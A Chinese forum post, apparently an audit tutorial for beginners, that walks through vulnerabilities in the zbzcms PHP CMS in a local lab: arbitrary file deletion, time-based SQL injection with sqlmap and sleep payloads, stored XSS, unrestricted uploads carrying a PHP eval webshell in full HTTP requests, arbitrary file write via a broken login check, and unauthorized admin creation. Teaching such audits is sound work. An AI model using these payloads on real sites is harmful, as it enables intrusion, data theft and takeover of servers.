问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
zbzcms审计供新手学习
### 前言 也是源自于闲来无事 在之前逛cnvd的时候 发现的cms 然后下下来了一直没审 现在也是审了一下 cms也比较老了 有段时间没更新了 也没用很难 供新手学习(篇幅有点长) 下载地址...
0x0前言 ----- 也是源自于闲来无事 在之前逛cnvd的时候 发现的cms 然后下下来了一直没审 现在也是审了一下 cms也比较老了 有段时间没更新了 也没用很难 供新手学习(篇幅有点长) 下载地址:<http://zbzcms.com/> 工具:seay phpstorm phpstudy 还是老方法 先用审计工具跑一波 0x1开始 -----  还是现看看首页长什么样子  是一个智能家居网站 然后逐步分析 工具跑步来的漏洞 0x2第一处 任意文件删除 -------------  我们点进去查看详细  发现没有做任何的校验判断 $run从上面发现 也是通过GET传的  通过审计工具也可以直接看到路径 > /zbzcms.com/cms/cms/include/up.php?run=del 那我们来构造一下 先在up.php同目录下创建一个txt  构造一下  执行后页面返回1 然后查看文件夹  成功删除 我们在上一级目录在创建一个2.txt  然后构造执行   也成功删除 0x3第二处 前台sql注入 -------------- ### 第一处注入点  点进去详细查看  这里没有做过滤 我们到phpstorm里面看sql文件  在这个文件中可以看到 是有一个处理函数的 但是只针对 insert 和update  select查询函数并没有处理和其他的过滤 可直接导致注入 进行 延时注入  直接丢sqlmap跑了 payload: ```php python sqlmap.py -u "http://127.0.0.1/zbzcms.com/cms/common/php/ajax.php?run=dj&id=1" -p id ```  0x4第二处注入点 --------- 差不多和上面的一样功能点 从代码上看  也是get传参 调用select函数 没有任何过滤 路径127.0.0.1/zbzcms.com/cms/common/php/ajax.php?run=ad&id=1 直接构造payload了:127.0.0.1/zbzcms.com/cms/common/php/ajax.php?run=ad&id=1 and sleep(2)  也是可以延时盲注的 0x5第三处注入 --------  根跟进查看  这直接妥妥的注入了 啥防护都没有 直接构造payload:[http://127.0.0.1/zbzcms.com/cms/cms/include/make.php?php=1&art=1%20and%20sleep(5](http://127.0.0.1/zbzcms.com/cms/cms/include/make.php?php=1&art=1%20and%20sleep(5))  就不丢sqlmap演示了 0x6第四处注入 --------  我们跟进代码  这里的问题出现在tid这个参数 通过前面我们可以看到 如果if判断失败的话 进入else if 通过获取get传参 然后传入sql语句 这里也是没有任何防范 但是这里需要简单闭合一下阔号 我们构造payload: ```php http://127.0.0.1/zbzcms.com/cms/cms/include/zidong.php?id=1&tid=3)+and+sleep(1)%23&laiyuan=0&sou=1&wid=1 ```  这里tid参数的值还是有点点讲究 必须和数据库里面存的tid值其中之一是一样的  0x7第三处 前台存储xss -------------- 这个是在发现注入的时候看见的  这处留言的地方 问题出现在neirong这个参数没有经过任何过滤就输出到了页面 并且还存入了数据库 所以导致后台查看的时候直接执行了 这出xss需要用POST的请求方法 因为从代码上可以看到 if的判断条件是$\_POST 不为空 然后我们来到页面构造xss  执行之后 我们登入后台来查看留言   查看详情也是直接就弹  F12查看代码 语句也加载进来了  0x8第四处 文件上传 ----------- ### 文件上传1  从路径可以发现是后台的 (但没影响 后面发现有api路径 就是任意上传)  啥过滤 判断都没有 直接传 因为刚开始麻烦找payload数据那些 就在后台去找了一下上传点抓包  上传的时候抓包  然后复制返回的路径 拼接到url上打开  也是成功执行 整体payload:url路径:/zbzcms.com/cms/cms/admin/ajax.php?run=youad\_pic 参数: ```php ------WebKitFormBoundary1yVpo1vIVcMvlXNA Content-Disposition: form-data; name="0"; filename="yjh.php" Content-Type: application/octet-stream herman <?php @eval($_POST['a']); phpinfo();?> ------WebKitFormBoundary1yVpo1vIVcMvlXNA-- ``` ### 文件上传2  来到phpstorm 可以发现没有任何的过滤  直接获取到路径这些就上传 那我们直接构造payload: ```php POST /zbzcms.com/cms/cms/include/up.php?run=file&path=../../upload/up/&filename=0 HTTP/1.1 Host: 192.168.1.7 Content-Length: 238 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqwBQidHCCHB076er Origin: http://192.168.1.7 Referer: http://192.168.1.7/zbzcms.com/cms/cms/admin/type.php?id=1&dq=3 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,is;q=0.8,zh-TW;q=0.7 Cookie: PHPSESSID=utnoq283ip9p4fuu5dfm56qmo5 Connection: close ------WebKitFormBoundaryqwBQidHCCHB076er Content-Disposition: form-data; name="0"; filename="yjh.php" Content-Type: application/octet-stream herman <?php @eval($_POST['a']); phpinfo();?> ------WebKitFormBoundaryqwBQidHCCHB076er-- ```  我们的访问地址:<http://192.168.1.7/zbzcms.com/cms/upload/up/16422582210.php> 因为有两个../嘛 所以路径变了  ### 文件上传3  在这个upload.php文件下 这里也是没有做任何的过滤 name为1的时候 也跳过了下面的后缀判断 直接构造payload:  也是成功写入   ### 文件上传4 在另一个路径下http://192.168.1.7/zbzcms.com/cms/cms/zbzedit/php/zbz.php 我们来看代码   进行了一些花里胡哨的操作 主要的问题 还是没有任何过滤和限制 通过path和path\_res控制路径 data\_pic\_name 控制文件名0改名1不改 然后就是上传了 那就直接构造payload: ```php POST /zbzcms.com/cms/cms/zbzedit/php/zbz.php?run=uptxt&path=../../../upload/up/&path_res=../../upload/up/&data_pic_name=1 HTTP/1.1 Host: 192.168.1.7 Content-Length: 238 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQy3ayf3rnYVYcEcG Origin: http://192.168.1.7 Referer: http://192.168.1.7/zbzcms.com/cms/cms/zbzedit/edit.html Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,is;q=0.8,zh-TW;q=0.7 Cookie: PHPSESSID=utnoq283ip9p4fuu5dfm56qmo5 Connection: close ------WebKitFormBoundaryQy3ayf3rnYVYcEcG Content-Disposition: form-data; name="0"; filename="yjh.php" Content-Type: application/octet-stream herman <?php @eval($_POST['a']); phpinfo();?> ------WebKitFormBoundaryQy3ayf3rnYVYcEcG-- ```   成功上传 ### 0x9第五处 任意文件写入 本来这个是在看上传的 结果看到 一个文件保存的地方 存在一个经典的文件写入函数file\_put\_contents 然后就分析了一波 发现是存在任意文件写入的  这里首先是判断的run参数 然后获取post传参的值 然后判断魔术引号那个设置是否开启 相当于放注入一些转义的功能 如果开启 在用stripslashes() 函数把反斜杠删去 然后下面就直接写入了 当时这个文件是在admin目录下 相当于后台的 但是通过上面的权限控制发现 可以直接绕过 这登录判断相当于就没有 我们来看上面判断登录的代码  通过run参数的值来判断 这不搞笑嘛 run不等于这个值不久 直接不判断了 直接执行下面的 好了 现在来构造payload:  执行之后   也是成功的写入 以及访问到 如果get\_magic\_quotes\_gpc()函数开启的话 写马就需要用没有引号的马子 0x10第六处 未授权任意管理员添加 ------------------ 还是这个文件 有一个add 操作 没有指定表  可直接任意指定表 我们往admin表添加一个用户 构造payload  执行之后  也是成功的添加进来 未授权删除 修改  逻辑都一样 0x11第七处 任意文件删除 --------------  这里延续上面的文件上传3的 upload文件  这里存在if else判断 没进入上传的条件的话 就执行下面的删除操作 也是没有任何过滤 直接通过传参del跟上路径 直接任意删除 我们先在目录下创建一个1.txt  在上一级目录下创建 然后我们构造payload 删除 <http://192.168.1.7/zbzcms.com/cms/cms/include/upload.php?del=../1.txt>   也是成功删除 0x12第八处 未授权添加管理员 ----------------  问题出现在这个文件 这个文件夹前面我们也分析过 这里漏了一个管理员添加 也是直接构造run参数 未授权添加  然后查看数据库  但是发现这个时候 是没有等级的 相当于权限 也就等不进去  但是这个文件前面有一个判断是判断是否登录的  我们先通过login 来得到session 直接构造  注意 这里是pwd 然后将这个路径http://192.168.1.7/zbzcms.com/cms/cms/admin/复制到 url 回车即可  还有一种方式 在添加管理员的时候 把等级参数 填上  然后查看数据库  刚添加的abc 权限为1 直接登录  0x13最后 ------ 如果有什么说的不好的地方请师傅们指出~
发表于 2022-02-14 09:52:48
阅读 ( 7867 )
分类:
代码审计
2 推荐
收藏
0 条评论
请先
登录
后评论
永安寺
8 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!